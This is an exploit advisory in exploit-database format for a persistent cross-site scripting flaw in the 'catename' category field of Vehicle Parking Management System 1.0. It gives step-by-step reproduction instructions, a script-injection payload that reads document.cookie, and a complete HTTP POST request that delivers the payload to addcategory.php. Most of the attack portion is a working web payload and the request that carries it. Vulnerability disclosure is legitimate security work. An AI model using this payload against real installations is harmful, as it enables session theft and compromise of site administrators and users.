Vehicle Parking Management System 1.0 - 'catename' Persistent Cross-Site Scripting (XSS)

# Exploit Title: Vehicle Parking Management System 1.0 - 'catename' Persistent Cross-Site Scripting (XSS)
# Date: 2021-02-25
# Exploit Author: Tushar Vaidya
# Vendor Homepage: https://www.sourcecodester.com/php/14415/vehicle-parking-management-system-project-phpmysql-full-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/mayuri_k/lagos-parker-fullsource-code.zip
# Version: v1.0
# Tested on: Ubuntu


*Steps to Reproduce:*
1) Login with Admin Credentials and click on the '*Manage category*' button.
2) Click on the '*Add Categories*'  button.
3) Now add the 'Ba1man' in the input field of '*Category*' and intercept it with Burp Suite.
4) Now add the following payload input field of *Category *as a parameter name is *catename*

Payload:  ba1man"><script>alert(document.cookie)</script>

4) Click On Save
5) Now go to '*Manage category > View Categories*'
5) XSS payload is triggered.

*proof-of-concept:*
1) Request:

POST /lagos_parker/parker/addcategory.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/lagos_parker/parker/addcategory.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 82
Connection: close
Cookie: PHPSESSID=6432hpio6v07igni4akosvdbmn
Upgrade-Insecure-Requests: 1
catename=ba1man"><script>alert(document.cookie)</script>&submit=